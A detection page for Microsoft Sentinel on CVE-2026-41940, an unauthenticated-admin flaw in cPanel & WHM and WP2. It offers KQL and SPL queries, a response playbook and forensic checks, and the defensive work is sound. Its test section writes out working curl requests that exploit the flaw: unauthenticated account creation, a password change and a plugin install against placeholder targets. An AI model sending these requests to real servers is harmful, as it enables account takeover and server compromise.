CVE-2026-41940 Microsoft Sentinel · KQL

Detect CVE-2026-41940: WebPros cPanel & WHM / WP2 Missing Authentication for Critical Function in Microsoft Sentinel

CVE-2026-41940 is an actively exploited missing authentication vulnerability (CWE-306) in WebPros cPanel & WHM and WP2 (WordPress Squared). Unauthenticated remote attackers can invoke critical administrative functions without valid credentials, enabling account takeover, malicious plugin installation, privilege escalation, and full server compromise. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Persistence

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
union isfuzzy=true
(
    W3CIISLog
    | where csUriStem has_any ("/cpsess", "/json-api", "/execute", "/wp-json", "/xmlapi")
      and (csMethod == "POST" or csMethod == "GET")
      and (csUriStem has_any ("createacct", "removeacct", "passwd", "addpkg", "suspendacct", "unsuspendacct", "installplugin", "createuser"))
      and (sc_status between (200 .. 299) or sc_status == 301)
      and isempty(csUsername) or csUsername == "-"
    | extend TargetHost = csHost, AttackerIP = cIP, RequestPath = csUriStem, ResponseCode = sc_status
    | project TimeGenerated, AttackerIP, TargetHost, RequestPath, ResponseCode, csMethod, csUserAgent
),
(
    AzureDiagnostics
    | where Category == "ApplicationGatewayAccessLog"
      and requestUri_s has_any ("/json-api", "/execute", "/xmlapi", "/wp-json")
      and requestUri_s has_any ("createacct", "passwd", "installplugin", "addpkg")
      and httpStatus_d between (200 .. 299)
    | extend AttackerIP = clientIP_s, RequestPath = requestUri_s, ResponseCode = httpStatus_d
    | project TimeGenerated, AttackerIP, RequestPath, ResponseCode
)
| summarize RequestCount = count(), DistinctPaths = dcount(RequestPath), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by AttackerIP
| where RequestCount >= 1
| extend RiskScore = iif(RequestCount >= 5, "High", "Medium")
| sort by RequestCount desc
critical severity medium confidence

Detects unauthenticated HTTP requests targeting cPanel & WHM and WP2 critical administrative API endpoints (createacct, passwd, installplugin, etc.) without valid session credentials, indicative of CVE-2026-41940 exploitation.

Data Sources

IIS Web LogsAzure Application GatewayWAF Logs

Required Tables

W3CIISLogAzureDiagnostics

False Positives & Tuning

  • Automated monitoring or uptime checks hitting cPanel health endpoints without authentication headers
  • Legitimate cPanel API integrations using token-based auth that do not populate csUsername field in IIS logs
  • Internal provisioning automation scripts that appear unauthenticated in web tier but authenticate at the application layer

Other platforms for CVE-2026-41940


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-41940 Unauthenticated cPanel Account Creation via JSON API

    Expected signal: HTTP POST request to /json-api/createacct on port 2086 with HTTP 200 response and no Authorization header in web server access logs; corresponding cPanel audit log entry for account creation

  2. Test 2CVE-2026-41940 Unauthenticated Password Change via WHM XMLAPI

    Expected signal: HTTP GET request to /xmlapi/passwd on port 2086 with HTTP 200 response visible in cPanel access logs; no session cookie or API token in request headers; cPanel audit log records password change event

  3. Test 3CVE-2026-41940 Unauthenticated WP2 Plugin Installation via WordPress REST API

    Expected signal: HTTP GET and POST requests to /wp-json/wp/v2/plugins with HTTP 200/201 responses in web server access logs; WordPress debug log records plugin installation event; file system activity shows new directory creation under wp-content/plugins/


Response Playbook

Triage

  1. Identify the target server: confirm the destination IP/hostname runs cPanel & WHM or WP2 (WordPress Squared) by checking listening ports 2082/2083/2086/2087 and service fingerprint. Cross-reference with your asset inventory.
  2. Examine the full HTTP request context for the triggering event: capture the exact URI path, HTTP method, request headers (particularly absence of Authorization/Cookie session tokens), request body if POST, and the HTTP response code and body to confirm whether the critical function executed successfully.
  3. Determine exploitation success by reviewing cPanel audit logs (/usr/local/cpanel/logs/access_log, /var/log/cpanel/error_log) for corresponding entries showing account creation, password changes, package modifications, or plugin installations at or after the suspicious request timestamp.
  4. Enumerate any accounts created, passwords changed, packages added, or plugins installed during the exploitation window by running: `grep -E '(createacct|removeacct|passwd|addpkg|installplugin)' /usr/local/cpanel/logs/access_log | awk '$1 >= "[TIMESTAMP]"'`
  5. Pivot on the source IP across all web logs for the past 7 days to identify reconnaissance activity, additional exploitation attempts against other endpoints, and whether this is an isolated probe or sustained campaign.

Containment

  1. Immediately block the attacker source IP(s) at the perimeter firewall and within cPanel's built-in IP blocker (cPHulk / CSF): `csf -d <attacker_ip> 'CVE-2026-41940 exploitation'`. If attack originates from a range, block the /24 CIDR.
  2. Apply the vendor security patch immediately per the cPanel security advisory (https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026) using `/scripts/upcp --force` on the cPanel server to pull the latest security release. For WP2, apply the patch per https://docs.wpsquared.com/changelogs/versions/changelog/#13617.
  3. If patching cannot be applied immediately, consider temporarily restricting access to cPanel management ports (2082/2083/2086/2087) to trusted IP ranges only via firewall rules or cPanel's Host Access Control until the patch is applied.

Evidence Collection

  1. Collect and preserve the following log files before any remediation activities: cPanel access log (`/usr/local/cpanel/logs/access_log`), cPanel error log (`/var/log/cpanel/error_log`), WHM access log (`/usr/local/cpanel/logs/whm_access_log`), Apache/nginx access logs (`/var/log/apache2/access.log` or `/var/log/nginx/access.log`), cPHulk brute force log, and system auth logs (`/var/log/auth.log` or `/var/log/secure`). Archive with: `tar -czf /tmp/cpanel-evidence-$(date +%Y%m%d%H%M%S).tar.gz /usr/local/cpanel/logs/ /var/log/apache2/ /var/log/cpanel/`
  2. Capture current state of all cPanel accounts, packages, and installed plugins for comparison against pre-incident baseline: `whmapi1 listaccts | python3 -m json.tool > /tmp/accounts-post-incident.json` and `wp plugin list --path=/path/to/wp --format=json > /tmp/plugins-post-incident.json` for each WP2 site.

Escalation Criteria

  • !Escalate immediately to incident response if any evidence confirms post-exploitation activity: new cPanel accounts created, existing account passwords modified, unauthorized plugins installed, webshells detected in web root directories, or outbound connections from the cPanel server to external C2 infrastructure.
  • !Escalate to hosting provider or upstream NOC if the affected server hosts multiple customer tenants, as successful exploitation may enable lateral movement to other hosted accounts and constitutes a multi-tenant breach requiring provider-level incident response and customer notification obligations.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >cPanel access log entries showing POST/GET requests to /json-api/, /execute/, or /xmlapi/ endpoints with critical function names (createacct, passwd, installplugin) and HTTP 200/201 responses with no valid session cookie or API token in request headers
  • >WHM account list showing accounts created after the exploitation timestamp with no corresponding administrative action in change management records
  • >File system artifacts: newly installed WordPress plugins in WP2 sites (check wp-content/plugins/ modification timestamps), webshells in web root (find /home -name '*.php' -newer /tmp/incident_start_time -exec grep -l 'eval\|base64_decode\|system\|passthru' {} \;)
  • >Outbound network connections from the cPanel server process (cpsrvd, httpd) to unusual external IPs following the exploitation window, visible in netstat/ss snapshots or firewall logs

Tuning Guidance

Initial confidence is set to medium due to the possibility of legitimate API integrations where authentication tokens are not reflected in standard web log username/authorization fields. To increase fidelity: (1) Create an allowlist of known legitimate automation source IPs performing cPanel API calls and exclude them from the query. (2) Enrich with cPanel's own audit log (which records API token identity separately) and correlate — if the web log shows no auth but cPanel's audit log records a valid API token, mark as benign. (3) Raise the request_count threshold if your environment has frequent false positives from monitoring tools. (4) Consider restricting detection to external source IPs only (exclude RFC1918 ranges) if all legitimate API automation runs from internal networks. Lower the threshold to 1 request for KEV-listed CVEs given active exploitation status.


Hunting Queries

30-day retrospective hunt across web server logs to identify any prior successful unauthenticated calls to cPanel & WHM and WP2 critical administrative endpoints, revealing exploitation activity that may predate the initial detection deployment or alert tuning.

Hunting — KQL
kql
W3CIISLog
| where TimeGenerated >= ago(30d)
| where csUriStem has_any ("/json-api", "/execute", "/xmlapi", "/wp-json")
| where csUriStem has_any ("createacct", "passwd", "installplugin", "addpkg", "removeacct", "createuser", "suspendacct", "unsuspendacct")
| where sc_status between (200 .. 299)
| summarize RequestCount=count(), DistinctTargetFunctions=dcount(csUriStem), IPs=make_set(cIP), LastSeen=max(TimeGenerated) by bin(TimeGenerated, 1d), csHost
| where RequestCount >= 1
| sort by RequestCount desc
Hunting — SPL
spl
index=web sourcetype IN ("iis", "apache:access", "nginx:access", "cpanel:access") earliest=-30d
(uri="*/json-api/*" OR uri="*/execute/*" OR uri="*/xmlapi/*" OR uri="*/wp-json/*")
(uri="*createacct*" OR uri="*passwd*" OR uri="*installplugin*" OR uri="*addpkg*" OR uri="*removeacct*" OR uri="*createuser*")
status IN ("200", "201")
| timechart span=1d count by dest
| sort - count

Atomic Red Team Tests

Test 1 CVE-2026-41940 Unauthenticated cPanel Account Creation via JSON API
linux

Simulates an attacker exploiting the missing authentication vulnerability to create a new cPanel hosting account via the WHM JSON API without providing valid credentials. Tests detection of unauthenticated createacct calls with successful HTTP responses.

Command

bash
curl -sk -X POST 'http://TARGET_IP:2086/json-api/createacct' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'api.version=1&username=testattackeracct&domain=attacker-test.lab&password=LabTestPass123!&plan=default&pkgname=default' \
  -o /tmp/cpanel_createacct_response.json && cat /tmp/cpanel_createacct_response.json

Cleanup

bash
# Remove the test account if created:
# whmapi1 removeacct user=testattackeracct
# rm -f /tmp/cpanel_createacct_response.json

Expected Telemetry

HTTP POST request to /json-api/createacct on port 2086 with HTTP 200 response and no Authorization header in web server access logs; corresponding cPanel audit log entry for account creation

Expected Detection

Alert triggered on unauthenticated POST to /json-api/createacct with HTTP 200 response; SIEM rule fires on missing auth context paired with successful response to critical function endpoint

Test 2 CVE-2026-41940 Unauthenticated Password Change via WHM XMLAPI
linux

Simulates exploitation of the missing authentication vulnerability to change an existing cPanel account password via the WHM XMLAPI endpoint without authentication, potentially enabling account takeover.

Command

bash
curl -sk 'http://TARGET_IP:2086/xmlapi/passwd?api.version=1&user=existingtestaccount&password=NewAttackerPass456!' \
  -H 'Accept: application/json' \
  -o /tmp/cpanel_passwd_response.json && cat /tmp/cpanel_passwd_response.json

Cleanup

bash
# Reset the password back to the original value:
# whmapi1 passwd user=existingtestaccount password=OriginalPasswordHere
# rm -f /tmp/cpanel_passwd_response.json

Expected Telemetry

HTTP GET request to /xmlapi/passwd on port 2086 with HTTP 200 response visible in cPanel access logs; no session cookie or API token in request headers; cPanel audit log records password change event

Expected Detection

Alert triggered on unauthenticated GET to /xmlapi/passwd with HTTP 200 response; detection fires for passwd critical function accessed without authentication context on WHM port

Test 3 CVE-2026-41940 Unauthenticated WP2 Plugin Installation via WordPress REST API
linux

Simulates exploitation of the missing authentication vulnerability in WP2 (WordPress Squared) to install a malicious plugin via the WordPress REST API without valid authentication, enabling remote code execution on the hosted WordPress site.

Command

bash
# Step 1: Enumerate installed plugins to confirm unauthenticated access
curl -sk 'http://TARGET_CPANEL_DOMAIN/wp-json/wp/v2/plugins' \
  -H 'Accept: application/json' \
  -o /tmp/wp2_plugins_enum.json && echo 'Plugin enumeration response:' && cat /tmp/wp2_plugins_enum.json

# Step 2: Attempt plugin installation (lab environment only)
curl -sk -X POST 'http://TARGET_CPANEL_DOMAIN/wp-json/wp/v2/plugins' \
  -H 'Content-Type: application/json' \
  -d '{"slug": "hello-dolly", "status": "active"}' \
  -o /tmp/wp2_installplugin_response.json && echo 'Install response:' && cat /tmp/wp2_installplugin_response.json

Cleanup

bash
# Deactivate and remove the test plugin:
# wp plugin deactivate hello-dolly --path=/home/CPANEL_USER/public_html
# wp plugin delete hello-dolly --path=/home/CPANEL_USER/public_html
# rm -f /tmp/wp2_plugins_enum.json /tmp/wp2_installplugin_response.json

Expected Telemetry

HTTP GET and POST requests to /wp-json/wp/v2/plugins with HTTP 200/201 responses in web server access logs; WordPress debug log records plugin installation event; file system activity shows new directory creation under wp-content/plugins/

Expected Detection

Alert triggered on unauthenticated POST to /wp-json/wp/v2/plugins with HTTP 200/201 response; detection fires on installplugin-equivalent critical function access pattern in WP2 REST API endpoint without Authorization Bearer token

Related Detections